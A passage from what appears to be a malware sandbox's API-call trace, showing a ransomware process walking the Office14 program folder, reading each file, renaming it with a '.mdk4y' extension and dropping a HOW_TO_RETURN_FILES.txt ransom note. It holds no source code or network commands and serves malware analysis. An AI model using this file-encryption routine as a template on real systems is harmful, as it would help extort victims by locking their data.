lpUsedDefaultChar=0x37dfd8) returned 10 [0256.245] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REPORT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\report.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0256.246] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833147600000) returned 1 [0256.246] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x38588, lpOverlapped=0x0) returned 1 [0256.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833158600000) returned 1 [0256.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833158600000) returned 1 [0256.359] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REPORT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\report.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REPORT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\report.dll.mdk4y")) returned 1 [0256.360] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0256.360] AreFileApisANSI () returned 1 [0256.361] GetACP () returned 0x4e4 [0256.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="REVERSE.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="REVERSE.DLLV", lpUsedDefaultChar=0x37dfd8) returned 11 [0256.361] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\REVERSE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\reverse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0256.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833159200000) returned 1 [0256.362] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x5988, lpOverlapped=0x0) returned 1 [0256.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833159300000) returned 1 [0256.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833159300000) returned 1 [0256.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\REVERSE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\reverse.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\REVERSE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\reverse.dll.mdk4y")) returned 1 [0256.367] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0256.367] AreFileApisANSI () returned 1 [0256.367] GetACP () returned 0x4e4 [0256.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RSWOP.ICM", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="RSWOP.ICMLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0256.367] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0256.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833159800000) returned 1 [0256.368] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x353f7, lpOverlapped=0x0) returned 1 [0257.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833256500000) returned 1 [0257.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833256500000) returned 1 [0257.337] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\RSWOP.ICM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\rswop.icm.mdk4y")) returned 1 [0257.339] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0257.339] AreFileApisANSI () returned 1 [0257.339] GetACP () returned 0x4e4 [0257.339] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RTFHTML.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="RTFHTML.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0257.339] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\RTFHTML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\rtfhtml.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0257.341] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833257100000) returned 1 [0257.341] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8f770, lpOverlapped=0x0) returned 1 [0257.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833285600000) returned 1 [0257.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833285600000) returned 1 [0257.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\RTFHTML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\rtfhtml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\RTFHTML.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\rtfhtml.dll.mdk4y")) returned 1 [0257.641] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0257.641] AreFileApisANSI () returned 1 [0257.641] GetACP () returned 0x4e4 [0257.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAEXT.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SAEXT.DLLLL", lpUsedDefaultChar=0x37dfd8) returned 9 [0257.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\saext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0257.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833287300000) returned 1 [0257.643] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x49580, lpOverlapped=0x0) returned 1 [0257.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833297500000) returned 1 [0257.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833297500000) returned 1 [0257.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAEXT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\saext.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAEXT.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\saext.dll.mdk4y")) returned 1 [0257.752] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0257.752] AreFileApisANSI () returned 1 [0257.752] GetACP () returned 0x4e4 [0257.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAMPLES", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SAMPLESLL", lpUsedDefaultChar=0x37dfd8) returned 7 [0257.752] AreFileApisANSI () returned 1 [0257.752] GetACP () returned 0x4e4 [0257.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=51, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\") returned 51 [0257.752] AreFileApisANSI () returned 1 [0257.752] GetACP () returned 0x4e4 [0257.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0257.752] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0257.752] AreFileApisANSI () returned 1 [0257.752] GetACP () returned 0x4e4 [0257.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0257.752] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0257.752] AreFileApisANSI () returned 1 [0257.752] GetACP () returned 0x4e4 [0257.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOLVSAMP.XLS", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SOLVSAMP.XLSg", lpUsedDefaultChar=0x37df4c) returned 12 [0257.752] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0257.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833298400000) returned 1 [0257.754] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d000, lpOverlapped=0x0) returned 1 [0257.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833315900000) returned 1 [0257.929] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1833315900000) returned 1 [0257.930] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\SOLVSAMP.XLS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\solvsamp.xls.mdk4y")) returned 1 [0257.932] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0257.932] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0257.934] AreFileApisANSI () returned 1 [0257.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0257.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\samples\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0257.935] GetFileType (hFile=0x12c) returned 0x1 [0257.936] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0257.936] AreFileApisANSI () returned 1 [0257.936] GetACP () returned 0x4e4 [0257.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVASWEB.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SAVASWEB.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0257.936] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVASWEB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savasweb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0257.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833316700000) returned 1 [0257.937] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8f968, lpOverlapped=0x0) returned 1 [0257.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833321600000) returned 1 [0257.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833321600000) returned 1 [0257.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVASWEB.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savasweb.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVASWEB.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\savasweb.dll.mdk4y")) returned 1 [0257.994] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0257.994] AreFileApisANSI () returned 1 [0257.994] GetACP () returned 0x4e4 [0257.994] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVWBHF.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SAVWBHF.DLLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0257.994] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBHF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbhf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0257.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833322500000) returned 1 [0257.995] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x27ba0, lpOverlapped=0x0) returned 1 [0258.058] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833328800000) returned 1 [0258.059] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833328800000) returned 1 [0258.060] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBHF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbhf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBHF.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\savwbhf.dll.mdk4y")) returned 1 [0258.063] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.064] AreFileApisANSI () returned 1 [0258.064] GetACP () returned 0x4e4 [0258.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVWBRAS.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SAVWBRAS.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0258.064] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBRAS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbras.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833329600000) returned 1 [0258.066] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x40f88, lpOverlapped=0x0) returned 1 [0258.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833335900000) returned 1 [0258.129] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833335900000) returned 1 [0258.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBRAS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbras.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBRAS.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\savwbras.dll.mdk4y")) returned 1 [0258.135] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.232] AreFileApisANSI () returned 1 [0258.232] GetACP () returned 0x4e4 [0258.232] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVWBVML.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SAVWBVML.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0258.232] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBVML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbvml.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.234] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833346400000) returned 1 [0258.234] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3df88, lpOverlapped=0x0) returned 1 [0258.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833348000000) returned 1 [0258.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833348000000) returned 1 [0258.252] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBVML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbvml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBVML.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\savwbvml.dll.mdk4y")) returned 1 [0258.255] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.255] AreFileApisANSI () returned 1 [0258.255] GetACP () returned 0x4e4 [0258.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVWBXAML.DLL", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SAVWBXAML.DLLmanifest", lpUsedDefaultChar=0x37dfd8) returned 13 [0258.256] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBXAML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbxaml.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833348800000) returned 1 [0258.258] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x29388, lpOverlapped=0x0) returned 1 [0258.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833350100000) returned 1 [0258.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833350100000) returned 1 [0258.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBXAML.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\savwbxaml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAVWBXAML.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\savwbxaml.dll.mdk4y")) returned 1 [0258.274] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.274] AreFileApisANSI () returned 1 [0258.274] GetACP () returned 0x4e4 [0258.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCANPST.EXE", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SCANPST.EXELL", lpUsedDefaultChar=0x37dfd8) returned 11 [0258.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\scanpst.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833350600000) returned 1 [0258.276] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xb7a0, lpOverlapped=0x0) returned 1 [0258.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833350700000) returned 1 [0258.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833350700000) returned 1 [0258.278] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCANPST.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\scanpst.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCANPST.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\scanpst.exe.mdk4y")) returned 1 [0258.279] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.279] AreFileApisANSI () returned 1 [0258.279] GetACP () returned 0x4e4 [0258.279] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCNPST32.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SCNPST32.DLLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0258.279] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.280] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833351000000) returned 1 [0258.280] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6bfa8, lpOverlapped=0x0) returned 1 [0258.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833356400000) returned 1 [0258.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833356400000) returned 1 [0258.338] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST32.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst32.dll.mdk4y")) returned 1 [0258.341] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.341] AreFileApisANSI () returned 1 [0258.341] GetACP () returned 0x4e4 [0258.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SCNPST64.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SCNPST64.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0258.341] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST64.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833357200000) returned 1 [0258.342] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6bfb0, lpOverlapped=0x0) returned 1 [0258.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: 